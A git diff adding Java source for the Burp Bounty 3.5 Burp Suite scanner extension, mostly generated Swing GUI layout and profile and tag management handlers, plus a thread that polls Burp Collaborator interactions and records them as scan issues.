.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)))) + .addGroup(jPanel6Layout.createSequentialGroup() + .addGap(380, 380, 380) + .addComponent(jLabel45) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(newTagCombo2, javax.swing.GroupLayout.PREFERRED_SIZE, 325, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(0, 0, Short.MAX_VALUE)) + ); + jPanel6Layout.setVerticalGroup( + jPanel6Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel6Layout.createSequentialGroup() + .addGap(10, 10, 10) + .addComponent(jLabel43) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel44) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(jPanel6Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(newTagCombo2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel45)) + .addGap(18, 18, 18) + .addComponent(jtabpane, javax.swing.GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE) + .addContainerGap()) + ); + + javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1); + jPanel1.setLayout(jPanel1Layout); + jPanel1Layout.setHorizontalGroup( + jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel1Layout.createSequentialGroup() + .addComponent(jPanel6, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addContainerGap()) + ); + jPanel1Layout.setVerticalGroup( + jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel1Layout.createSequentialGroup() + .addComponent(jPanel6, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addContainerGap()) + ); + + jTabbedPane2.addTab(" Profiles ", jPanel1); + + jLabel50.setText("In this section specify the base profiles directory. "); + + jLabel51.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel51.setForeground(new java.awt.Color(255, 102, 51)); + jLabel51.setText("Directory"); + + jButton5.setText("Directory"); + jButton5.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + loadConfigFile(evt); + } + }); + + jButton1.setText("Reload"); + jButton1.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + profilesReload(evt); + } + }); + + text11.setToolTipText(""); + + listtagmanager.setModel(tagmanager); + jScrollPane13.setViewportView(listtagmanager); + + jButton12.setText("Remove"); + jButton12.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + removeTagManager(evt); + } + }); + + jButton11.setText("Add"); + jButton11.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + newTag(evt); + } + }); + + jLabel48.setText("In this section you can manage the tags."); + + jLabel49.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel49.setForeground(new java.awt.Color(255, 102, 51)); + jLabel49.setText("Tags Manager"); + + javax.swing.GroupLayout jPanel4Layout = new javax.swing.GroupLayout(jPanel4); + jPanel4.setLayout(jPanel4Layout); + jPanel4Layout.setHorizontalGroup( + jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel4Layout.createSequentialGroup() + .addGroup(jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jSeparator13) + .addGroup(jPanel4Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel50, javax.swing.GroupLayout.PREFERRED_SIZE, 575, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel48, javax.swing.GroupLayout.PREFERRED_SIZE, 575, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel51) + .addGroup(jPanel4Layout.createSequentialGroup() + .addGroup(jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addComponent(jButton5, javax.swing.GroupLayout.DEFAULT_SIZE, 108, Short.MAX_VALUE) + .addComponent(jButton1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(text11, javax.swing.GroupLayout.PREFERRED_SIZE, 700, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addComponent(jLabel49) + .addGroup(jPanel4Layout.createSequentialGroup() + .addGroup(jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addComponent(jButton11, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(jButton12, javax.swing.GroupLayout.PREFERRED_SIZE, 105, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(jScrollPane13, javax.swing.GroupLayout.PREFERRED_SIZE, 700, javax.swing.GroupLayout.PREFERRED_SIZE))) + .addGap(0, 297, Short.MAX_VALUE))) + .addContainerGap()) + ); + jPanel4Layout.setVerticalGroup( + jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel4Layout.createSequentialGroup() + .addGap(10, 10, 10) + .addComponent(jLabel51) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel50) + .addGap(25, 25, 25) + .addGroup(jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jButton5) + .addComponent(text11, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jButton1) + .addGap(18, 18, 18) + .addComponent(jSeparator13, javax.swing.GroupLayout.PREFERRED_SIZE, 10, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(jLabel49) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel48) + .addGap(25, 25, 25) + .addGroup(jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel4Layout.createSequentialGroup() + .addComponent(jButton11) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jButton12)) + .addComponent(jScrollPane13, javax.swing.GroupLayout.PREFERRED_SIZE, 205, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addContainerGap(329, Short.MAX_VALUE)) + ); + + jPanel4Layout.linkSize(javax.swing.SwingConstants.VERTICAL, new java.awt.Component[] {jButton1, jButton5}); + + jTabbedPane2.addTab(" Options ", jPanel4); + + jLabel53.setFont(new java.awt.Font("Lucida Grande", 1, 18)); // NOI18N + jLabel53.setForeground(new java.awt.Color(255, 102, 51)); + jLabel53.setText("About"); + + jLabel1.setFont(new java.awt.Font("Arial", 0, 14)); // NOI18N + jLabel1.setText("Burp Bounty is a web application vulnerability scanner. This Burp Suite extension allows you, in a quick and simple way, to improve the active
and passive burpsuite scanner by means of personalized rules through a very intuitive graphical interface.Through an advanced search of
patterns and an improvement of the payload to send, we can create our own issue profiles both in the active scanner and in the passive."); + + jLabel3.setFont(new java.awt.Font("Tahoma", 1, 18)); // NOI18N + jLabel3.setForeground(new java.awt.Color(255, 102, 51)); + jLabel3.setText("More info at: https://burpbounty.net"); + jLabel3.addMouseListener(new java.awt.event.MouseAdapter() { + public void mouseClicked(java.awt.event.MouseEvent evt) { + jLabel3gowebBurp(evt); + } + }); + + jLabel6.setFont(new java.awt.Font("Tahoma", 1, 18)); // NOI18N + jLabel6.setForeground(new java.awt.Color(255, 102, 51)); + jLabel6.setText("Burp Bounty version 3.5"); + + jLabel7.setFont(new java.awt.Font("Tahoma", 1, 18)); // NOI18N + jLabel7.setForeground(new java.awt.Color(255, 102, 51)); + jLabel7.setText("Same scanner, different vulnerabilities"); + + jLabel2.setFont(new java.awt.Font("Arial", 0, 14)); // NOI18N + jLabel2.setText("If you need more power, I invite you to try the new Burp Bounty Pro, which gives you more power and automation during your manual pentests."); + + javax.swing.GroupLayout jPanel8Layout = new javax.swing.GroupLayout(jPanel8); + jPanel8.setLayout(jPanel8Layout); + jPanel8Layout.setHorizontalGroup( + jPanel8Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel8Layout.createSequentialGroup() + .addGroup(jPanel8Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel8Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel8Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel53) + .addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))) + .addGroup(jPanel8Layout.createSequentialGroup() + .addGap(42, 42, 42) + .addGroup(jPanel8Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel3, javax.swing.GroupLayout.PREFERRED_SIZE, 354, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel6, javax.swing.GroupLayout.PREFERRED_SIZE, 394, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel7, javax.swing.GroupLayout.PREFERRED_SIZE, 394, javax.swing.GroupLayout.PREFERRED_SIZE)))) + .addContainerGap(230, Short.MAX_VALUE)) + ); + jPanel8Layout.setVerticalGroup( + jPanel8Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel8Layout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel53) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(18, 18, 18) + .addComponent(jLabel2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(31, 31, 31) + .addComponent(jLabel6, javax.swing.GroupLayout.PREFERRED_SIZE, 39, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel7, javax.swing.GroupLayout.PREFERRED_SIZE, 39, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel3, javax.swing.GroupLayout.PREFERRED_SIZE, 37, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap(473, Short.MAX_VALUE)) + ); + + jTabbedPane2.addTab(" About ", jPanel8); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this); + this.setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jTabbedPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 1140, Short.MAX_VALUE) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jTabbedPane2) + ); + }//
//GEN-END:initComponents + + private void showprofiles(javax.swing.event.ChangeEvent evt) {//GEN-FIRST:event_showprofiles +// if (jTabbedPane2.isShowing()) { +// showProfiles("All"); +// showTags(); +// } + }//GEN-LAST:event_showprofiles + + private void profilesReload(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_profilesReload + //checkProfilesProperties(); + String fileload = text11.getText(); + + profiles_directory = fileload + File.separator; + + makeTagsFile(); + showTags(); + showProfiles("All"); + this.callbacks.saveExtensionSetting("filename", fileload); + }//GEN-LAST:event_profilesReload + + private void loadConfigFile(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_loadConfigFile + loadConfigFile(); + //checkProfilesProperties(); + }//GEN-LAST:event_loadConfigFile + + private void removeTagManager(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_removeTagManager + int selectedIndex = listtagmanager.getSelectedIndex(); + String tag = ""; + if (selectedIndex != -1) { + tag = tagmanager.get(selectedIndex).toString(); + if (!tag.equals("All")) { + tagmanager.remove(selectedIndex); + deleteTagProfiles(tag); + removeTag(tag); + showTags(); + } + } + }//GEN-LAST:event_removeTagManager + + private void removeProfiles(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_removeProfiles + int activePane = jtabpane.getSelectedIndex(); + + if (activePane == 0) { + deleteProfile(table3); + } else if (activePane == 1) { + deleteProfile(table1); + } else if (activePane == 2) { + deleteProfile(table2); + } + }//GEN-LAST:event_removeProfiles + + private void newTagCombo2ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_newTagCombo2ActionPerformed + // TODO add your handling code here: + }//GEN-LAST:event_newTagCombo2ActionPerformed + + private void selectTag(java.awt.event.ItemEvent evt) {//GEN-FIRST:event_selectTag + if ((evt.getStateChange() == java.awt.event.ItemEvent.SELECTED)) { + showProfiles(newTagCombo2.getItemAt(newTagCombo2.getSelectedIndex())); + } + }//GEN-LAST:event_selectTag + + private void newTag(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_newTag + Integer result; + NewTag nt = new NewTag(); + JOptionPane jopane1 = new JOptionPane(nt, JOptionPane.PLAIN_MESSAGE, JOptionPane.OK_CANCEL_OPTION); + JDialog dialog = jopane1.createDialog(this, "New Tag"); + dialog.setLocationRelativeTo(null); + dialog.setVisible(true); + Object selectedValue = jopane1.getValue(); + + if (selectedValue != null) { + result = ((Integer) selectedValue).intValue(); + + if (result == JOptionPane.OK_OPTION) { + addNewTag(nt.newTagtext.getText()); + showTags(); + } + } + }//GEN-LAST:event_newTag + + + private void addActiveProfile(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_addActiveProfile + + Integer result; + ActiveProfile profile = new ActiveProfile(callbacks); + JOptionPane jopane1 = new JOptionPane(profile, JOptionPane.PLAIN_MESSAGE, JOptionPane.OK_CANCEL_OPTION); + + JDialog dialog = jopane1.createDialog(jopane1, "Add New Active Profile"); + + dialog.setSize(new Dimension(900, 760)); + dialog.setResizable(true); + dialog.setLocationRelativeTo(null); + dialog.setVisible(true); + Object selectedValue = jopane1.getValue(); + + if (selectedValue != null) { + result = ((Integer) selectedValue).intValue(); + + if (result == JOptionPane.OK_OPTION) { + if (!profile.text1.getText().isEmpty()) { + saveActiveAttackValues(profile); + showProfiles("All"); + showTags(); + } + + } + } + }//GEN-LAST:event_addActiveProfile + + + private void table3MouseReleased(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_table3MouseReleased + if (evt.isPopupTrigger()) { + jPopupMenu1.show(table3, evt.getX(), evt.getY()); + } + }//GEN-LAST:event_table3MouseReleased + + private void table3MousePressed(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_table3MousePressed + if (evt.isPopupTrigger()) { + jPopupMenu1.show(table3, evt.getX(), evt.getY()); + } + }//GEN-LAST:event_table3MousePressed + + private void jMenuItem2ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem2ActionPerformed + setEnableDisableProfile("Yes", table3); + }//GEN-LAST:event_jMenuItem2ActionPerformed + + private void jMenuItem3ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem3ActionPerformed + setEnableDisableProfile("No", table3); + }//GEN-LAST:event_jMenuItem3ActionPerformed + + private void jMenuItem4ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem4ActionPerformed + setEnableDisableProfile("Yes", table1); + }//GEN-LAST:event_jMenuItem4ActionPerformed + + private void jMenuItem5ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem5ActionPerformed + setEnableDisableProfile("No", table1); + }//GEN-LAST:event_jMenuItem5ActionPerformed + + private void jMenuItem6ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem6ActionPerformed + setEnableDisableProfile("Yes", table2); + }//GEN-LAST:event_jMenuItem6ActionPerformed + + private void jMenuItem7ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem7ActionPerformed + setEnableDisableProfile("No", table2); + }//GEN-LAST:event_jMenuItem7ActionPerformed + + private void table1MouseReleased(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_table1MouseReleased + if (evt.isPopupTrigger()) { + jPopupMenu2.show(table1, evt.getX(), evt.getY()); + } + }//GEN-LAST:event_table1MouseReleased + + private void table1MousePressed(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_table1MousePressed + if (evt.isPopupTrigger()) { + jPopupMenu2.show(table1, evt.getX(), evt.getY()); + } + }//GEN-LAST:event_table1MousePressed + + private void table2MouseReleased(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_table2MouseReleased + if (evt.isPopupTrigger()) { + jPopupMenu3.show(table2, evt.getX(), evt.getY()); + } + }//GEN-LAST:event_table2MouseReleased + + private void table2MousePressed(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_table2MousePressed + if (evt.isPopupTrigger()) { + jPopupMenu3.show(table2, evt.getX(), evt.getY()); + } + }//GEN-LAST:event_table2MousePressed + + private void editActiveProfile(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_editActiveProfile + Integer result; + + String profile_name = table3.getValueAt(table3.getSelectedRow(), 1).toString(); + + ActiveProfile profile = new ActiveProfile(callbacks); + JOptionPane jopane1 = new JOptionPane(profile, JOptionPane.PLAIN_MESSAGE, JOptionPane.OK_CANCEL_OPTION); + + JDialog dialog = jopane1.createDialog(jopane1, "Edit Active Profile"); + + dialog.setSize(new Dimension(900, 760)); + dialog.setResizable(true); + dialog.setLocationRelativeTo(null); + profile.text1.setEditable(false); + + setActiveAttackValues(profile_name, profile); + + dialog.setVisible(true); + Object selectedValue = jopane1.getValue(); + + if (selectedValue != null) { + result = ((Integer) selectedValue).intValue(); + + if (result == JOptionPane.OK_OPTION) { + + saveActiveAttackValues(profile); + showProfiles("All"); + showTags(); + } + } + }//GEN-LAST:event_editActiveProfile + + private void addRequestProfile(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_addRequestProfile + Integer result; + RequestProfile profile = new RequestProfile(callbacks); + JOptionPane jopane1 = new JOptionPane(profile, JOptionPane.PLAIN_MESSAGE, JOptionPane.OK_CANCEL_OPTION); + + JDialog dialog = jopane1.createDialog(jopane1, "Add New Passive Request Profile"); + + dialog.setSize(new Dimension(900, 760)); + dialog.setResizable(true); + dialog.setLocationRelativeTo(null); + dialog.setVisible(true); + Object selectedValue = jopane1.getValue(); + + if (selectedValue != null) { + result = ((Integer) selectedValue).intValue(); + + if (result == JOptionPane.OK_OPTION) { + if (!profile.text1.getText().isEmpty()) { + saveRequestAttackValues(profile); + showProfiles("All"); + showTags(); + } + } + } + }//GEN-LAST:event_addRequestProfile + + private void editRequestProfile(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_editRequestProfile + Integer result; + + String profile_name = table1.getValueAt(table1.getSelectedRow(), 1).toString(); + + RequestProfile profile = new RequestProfile(callbacks); + JOptionPane jopane1 = new JOptionPane(profile, JOptionPane.PLAIN_MESSAGE, JOptionPane.OK_CANCEL_OPTION); + + JDialog dialog = jopane1.createDialog(jopane1, "Edit Passive Request Profile"); + + dialog.setSize(new Dimension(900, 760)); + dialog.setResizable(true); + dialog.setLocationRelativeTo(null); + profile.text1.setEditable(false); + + setRequestAttackValues(profile_name, profile); + + dialog.setVisible(true); + Object selectedValue = jopane1.getValue(); + + if (selectedValue != null) { + result = ((Integer) selectedValue).intValue(); + + if (result == JOptionPane.OK_OPTION) { + + saveRequestAttackValues(profile); + showProfiles("All"); + showTags(); + } + } + }//GEN-LAST:event_editRequestProfile + + private void addResponseProfile(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_addResponseProfile + Integer result; + ResponseProfile profile = new ResponseProfile(callbacks); + JOptionPane jopane1 = new JOptionPane(profile, JOptionPane.PLAIN_MESSAGE, JOptionPane.OK_CANCEL_OPTION); + + JDialog dialog = jopane1.createDialog(jopane1, "Add New Passive Response Profile"); + + dialog.setSize(new Dimension(900, 760)); + dialog.setResizable(true); + dialog.setLocationRelativeTo(null); + dialog.setVisible(true); + Object selectedValue = jopane1.getValue(); + + if (selectedValue != null) { + result = ((Integer) selectedValue).intValue(); + + if (result == JOptionPane.OK_OPTION) { + if (!profile.text1.getText().isEmpty()) { + saveResponseAttackValues(profile); + showProfiles("All"); + showTags(); + } + } + } + }//GEN-LAST:event_addResponseProfile + + private void editResponseProfile(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_editResponseProfile + Integer result; + String profile_name = table2.getValueAt(table2.getSelectedRow(), 1).toString(); + + ResponseProfile profile = new ResponseProfile(callbacks); + JOptionPane jopane1 = new JOptionPane(profile, JOptionPane.PLAIN_MESSAGE, JOptionPane.OK_CANCEL_OPTION); + + JDialog dialog = jopane1.createDialog(jopane1, "Edit Passive Response Profile"); + + dialog.setSize(new Dimension(900, 760)); + dialog.setResizable(true); + dialog.setLocationRelativeTo(null); + profile.text1.setEditable(false); + + setResponseAttackValues(profile_name, profile); + + dialog.setVisible(true); + Object selectedValue = jopane1.getValue(); + + if (selectedValue != null) { + result = ((Integer) selectedValue).intValue(); + + if (result == JOptionPane.OK_OPTION) { + + saveResponseAttackValues(profile); + showProfiles("All"); + showTags(); + } + } + }//GEN-LAST:event_editResponseProfile + + private void jLabel3gowebBurp(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jLabel3gowebBurp + try { + Desktop.getDesktop().browse(new URI("https://burpbounty.net")); + } catch (URISyntaxException | IOException e) { + callbacks.printError("Active profile line 3178 Help web not opened: " + e); + } + }//GEN-LAST:event_jLabel3gowebBurp + + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JButton button13; + private javax.swing.JButton button14; + private javax.swing.JButton button15; + private javax.swing.ButtonGroup buttonGroup1; + private javax.swing.ButtonGroup buttonGroup2; + private javax.swing.ButtonGroup buttonGroup3; + private javax.swing.ButtonGroup buttonGroup4; + private javax.swing.ButtonGroup buttonGroup5; + private javax.swing.ButtonGroup buttonGroup6; + private javax.swing.ButtonGroup buttonGroup7; + private javax.swing.ButtonGroup buttonGroup8; + private javax.swing.ButtonGroup buttonGroup9; + private javax.swing.JButton jButton1; + private javax.swing.JButton jButton11; + private javax.swing.JButton jButton12; + private javax.swing.JButton jButton16; + private javax.swing.JButton jButton17; + private javax.swing.JButton jButton18; + private javax.swing.JButton jButton2; + private javax.swing.JButton jButton3; + private javax.swing.JButton jButton4; + private javax.swing.JButton jButton5; + private javax.swing.JCheckBoxMenuItem jCheckBoxMenuItem1; + private javax.swing.JLabel jLabel1; + private javax.swing.JLabel jLabel2; + private javax.swing.JLabel jLabel3; + private javax.swing.JLabel jLabel43; + private javax.swing.JLabel jLabel44; + private javax.swing.JLabel jLabel45; + private javax.swing.JLabel jLabel48; + private javax.swing.JLabel jLabel49; + private javax.swing.JLabel jLabel50; + private javax.swing.JLabel jLabel51; + private javax.swing.JLabel jLabel53; + private javax.swing.JLabel jLabel6; + private javax.swing.JLabel jLabel7; + private javax.swing.JMenuItem jMenuItem1; + private javax.swing.JMenuItem jMenuItem2; + private javax.swing.JMenuItem jMenuItem3; + private javax.swing.JMenuItem jMenuItem4; + private javax.swing.JMenuItem jMenuItem5; + private javax.swing.JMenuItem jMenuItem6; + private javax.swing.JMenuItem jMenuItem7; + public javax.swing.JPanel jPanel1; + private javax.swing.JPanel jPanel3; + public javax.swing.JPanel jPanel4; + private javax.swing.JPanel jPanel5; + public javax.swing.JPanel jPanel6; + private javax.swing.JPanel jPanel7; + private javax.swing.JPanel jPanel8; + private javax.swing.JPopupMenu jPopupMenu1; + private javax.swing.JPopupMenu jPopupMenu2; + private javax.swing.JPopupMenu jPopupMenu3; + private javax.swing.JScrollPane jScrollPane10; + private javax.swing.JScrollPane jScrollPane13; + private javax.swing.JScrollPane jScrollPane5; + private javax.swing.JScrollPane jScrollPane6; + private javax.swing.JSeparator jSeparator13; + public javax.swing.JTabbedPane jTabbedPane2; + private javax.swing.JTabbedPane jtabpane; + public javax.swing.JList listtagmanager; + private javax.swing.JComboBox newTagCombo2; + private javax.swing.JTable table1; + private javax.swing.JTable table2; + private javax.swing.JTable table3; + public javax.swing.JTextField text11; + // End of variables declaration//GEN-END:variables +} diff --git a/src/src/BurpCollaboratorThread.java b/src/src/BurpCollaboratorThread.java new file mode 100755 index 0000000..68734f4 --- /dev/null +++ b/src/src/BurpCollaboratorThread.java @@ -0,0 +1,132 @@ +/* +Copyright 2018 Eduardo Garcia Melia + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. + */ +package burpbounty; + +import burp.IBurpCollaboratorClientContext; +import burp.IBurpCollaboratorInteraction; +import burp.IBurpExtenderCallbacks; +import burp.IExtensionHelpers; +import burp.IHttpRequestResponse; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Properties; + +public class BurpCollaboratorThread extends Thread { + + private IBurpExtenderCallbacks callbacks; + private IExtensionHelpers helpers; + public List CollaboratorClientContext; + HashMap ccrequestResponse; + HashMap issues; + public boolean doStop; + Properties issueProperties; + private String issuename; + private String issuedetail; + private String issuebackground; + private String remediationdetail; + private String remediationbackground; + private String issueseverity; + private String issueconfidence; + CollaboratorData burpCollaboratorData; + + public BurpCollaboratorThread(IBurpExtenderCallbacks callbacks, CollaboratorData burpCollaboratorData) { + this.callbacks = callbacks; + helpers = callbacks.getHelpers(); + this.burpCollaboratorData = burpCollaboratorData; + CollaboratorClientContext = new ArrayList(); + ccrequestResponse = new HashMap(); + issues = new HashMap(); + doStop = false; + issueProperties = new Properties(); + issuename = ""; + issuedetail = ""; + issuebackground = ""; + remediationdetail = ""; + remediationbackground = ""; + issueseverity = ""; + issueconfidence = ""; + + } + + public void doStop() { + doStop = true; + } + + public boolean keepRunning() { + return doStop == false; + } + + @Override + public void run() { + while (keepRunning()) { + CollaboratorClientContext = burpCollaboratorData.getCollaboratorClientContext(); + try { + for (int client = 0; client < CollaboratorClientContext.size(); client++) { + List CollaboratorInteraction = CollaboratorClientContext.get(client).fetchAllCollaboratorInteractions(); + if (CollaboratorInteraction != null && !CollaboratorInteraction.isEmpty()) { + for (int interaction = 0; interaction < CollaboratorInteraction.size(); interaction++) { + addIssue(CollaboratorClientContext.get(client), CollaboratorInteraction.get(interaction)); + } + } + } + + BurpCollaboratorThread.sleep(10000); + } catch (NullPointerException | InterruptedException e) { + System.out.println("Thread error: " + e); + } + } + } + + public void addIssue(IBurpCollaboratorClientContext cc, IBurpCollaboratorInteraction interactions) { + String interaction_id = interactions.getProperty("interaction_id"); + String bchost = interaction_id + ".burpcollaborator.net"; + String type = interactions.getProperty("type"); + String client_ip = interactions.getProperty("client_ip"); + String time_stamp = interactions.getProperty("time_stamp"); + String query_type = interactions.getProperty("query_type"); + issueProperties = burpCollaboratorData.getIssueProperties(bchost); + issuename = issueProperties.getProperty("issuename"); + issuedetail = issueProperties.getProperty("issuedetail"); + issuebackground = issueProperties.getProperty("issuebackground"); + remediationdetail = issueProperties.getProperty("remediationdetail"); + remediationbackground = issueProperties.getProperty("remediationbackground"); + issueseverity = issueProperties.getProperty("issueseverity"); + issueconfidence = issueProperties.getProperty("issueconfidence"); + issuedetail = issuedetail + "

BurpCollaborator data:

Interaction id: " + interaction_id + "
type: " + type + + "
client_ip: " + client_ip + "
time_stamp: " + time_stamp + "
query_type: " + query_type + "
"; + + IHttpRequestResponse requestResponse = burpCollaboratorData.getRequestResponse(bchost); + List requestMarkers = new ArrayList(); + int start = 0; + byte[] match = helpers.stringToBytes(bchost); + byte[] request = requestResponse.getRequest(); + + while (start < request.length) { + start = helpers.indexOf(request, match, false, start, request.length); + if (start == -1) { + break; + } + requestMarkers.add(new int[]{start, start + match.length}); + start += match.length; + } + + callbacks.addScanIssue(new CustomScanIssue(requestResponse.getHttpService(), helpers.analyzeRequest(requestResponse).getUrl(), + new IHttpRequestResponse[]{callbacks.applyMarkers(requestResponse, requestMarkers, null)}, "BurpBounty - " + issuename, + issuedetail, issueseverity, issueconfidence, remediationdetail, issuebackground, remediationbackground)); + + } +} diff --git a/src/src/BurpExtender.java b/src/src/BurpExtender.java new file mode 100755 index 0000000..806adf5 --- /dev/null +++ b/src/src/BurpExtender.java @@ -0,0 +1,7 @@ +package burp; + +import burpbounty.BurpBountyExtension; + +public class BurpExtender extends BurpBountyExtension { + +} \ No newline at end of file diff --git 